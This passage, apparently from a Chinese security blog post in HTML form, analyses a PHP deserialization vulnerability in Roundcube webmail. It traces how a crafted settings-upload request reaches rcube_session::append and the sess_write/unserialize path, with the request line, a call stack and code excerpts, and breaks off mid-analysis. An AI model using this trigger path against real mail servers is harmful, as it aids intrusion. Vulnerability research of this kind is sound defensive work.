data-imgfileid="100008456" class="rich_pages wxw-img" data-ratio="0.19402985074626866" data-type="png" data-w="938" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=cf7436cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRBLU4J3v5v7dGprjxRsdHRt10ml5DrficpS2z7a8ZsiaLnpicxFNEseLKw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">构造如下 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">HTTP</span></p><span leaf=""> 请求可进入 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action_settings_upload::run</span></p><span leaf=""> ：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">GET /?_task=settings&amp;_action=upload&amp;_remote=1&amp;_from=from123</span><span leaf=""><br/></span><span leaf="">...</span></p></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">调用栈如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008459" class="rich_pages wxw-img" data-ratio="0.5299901671583087" data-type="png" data-w="1017" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=37a4dd34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRjogkILiasCrjp8NIfibIKPMVHrT7vib2pVgcXXujy5vApvOtDoJ2M8P0A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">session序列化与反序列化分析</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">既然是 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PHP</span></p><span leaf="">反序列化漏洞，首先搜索一下</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">unserialize</span></p><span leaf="">的调用点。</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Roundcube</span></p><span leaf="">中</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">unserialize</span></p><span leaf="">函数使用的并不多，我们注意到在处理</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session</span></p><span leaf="">的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcube_session</span></p><span leaf="">类中，自定义了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">serialize</span></p><span leaf="">和</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">unserialize</span></p><span leaf="">函数，用于完成</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session</span></p><span leaf="">会话的序列化与反序列化。反向搜索</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcube_session::unserialize</span></p><span leaf="">调用点，找到</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sess_write</span></p><span leaf=""> 函数：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">rcube_session.unserialize</span><span leaf=""><br/></span><span leaf="">    │    </span><span leaf=""><br/></span><span leaf="">    └─→ rcube_session._fixvars </span><span leaf=""><br/></span><span leaf="">          │    </span><span leaf=""><br/></span><span leaf="">          └─→rcube_session.sess_write</span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">直接分析找不到 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sess_write</span></p><span leaf="">的调用点，那么如何触发呢？注意到</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcube_session</span></p><span leaf="">初始化过程中利用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session_set_save_handler</span></p><span leaf="">将</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sess_write</span></p><span leaf="">注册为了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session</span></p><span leaf="">写入的回调函数，并且类中还定义了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">append</span></p><span leaf="">、</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">remove</span></p><span leaf="">、</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">reload</span></p><span leaf="">等函数对</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">session</span></p><span leaf=""> 进行处理：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">public function register_session_handler()</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    ...</span><span leaf=""><br/></span><span leaf="">    // set custom functions for PHP session management  </span><span leaf=""><br/></span><span leaf="">    session_set_save_handler(  </span><span leaf=""><br/></span><span leaf="">        [$this, &#39;open&#39;],  </span><span leaf=""><br/></span><span leaf="">        [$this, &#39;close&#39;],  </span><span leaf=""><br/></span><span leaf="">        [$this, &#39;read&#39;],  </span><span leaf=""><br/></span><span leaf="">        [$this, &#39;sess_write&#39;],   //设置 sess_write 回调函数</span><span leaf=""><br/></span><span leaf="">        [$this, &#39;destroy&#39;],  </span><span leaf=""><br/></span><span leaf="">        [$this, &#39;gc&#39;]  </span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">    ...</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">/**</span><span leaf=""><br/></span><span leaf=""> * Re-read session data from storage backend</span><span leaf=""><br/></span><span leaf=""> */</span><span leaf=""><br/></span><span leaf="">public function reload()</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">/**</span><span leaf=""><br/></span><span leaf=""> * Append the given value to the certain node in the session data array</span><span leaf=""><br/></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf=""> * Warning: Do not use if you already modified $_SESSION in the same request (#1490608)</span><span leaf=""><br/></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf=""> * @param string $path  Path denoting the session variable where to append the value</span><span leaf=""><br/></span><span leaf=""> * @param string $key   Key name under which to append the new value (use null for appending to an indexed list)</span><span leaf=""><br/></span><span leaf=""> * @param mixed  $value Value to append to the session data array</span><span leaf=""><br/></span><span leaf=""> */</span><span leaf=""><br/></span><span leaf="">public function append($path, $key, $value)</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">/**</span><span leaf=""><br/></span><span leaf=""> * Unset a session variable</span><span leaf=""><br/></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf=""> * @param string $var Variable name (can be a path denoting a certain node</span><span leaf=""><br/></span><span leaf=""> *                    in the session array, e.g. compose.attachments.5)</span><span leaf=""><br/></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf=""> * @return bool True on success, False on failure</span><span leaf=""><br/></span><span leaf=""> */</span><span leaf=""><br/></span><span leaf="">public function remove($var = null)</span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">而 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcmail_action_settings_upload::run</span></p><span leaf=""> 刚好调用了其中的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">append</span></p><span leaf=""> 函数。修改请求数据包为图片文件上传的格式，成功触发 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rcube_session::append</span></p><span leaf=""> ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008458" class="rich_pages wxw-img" data-ratio="0.7929342492639843" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft 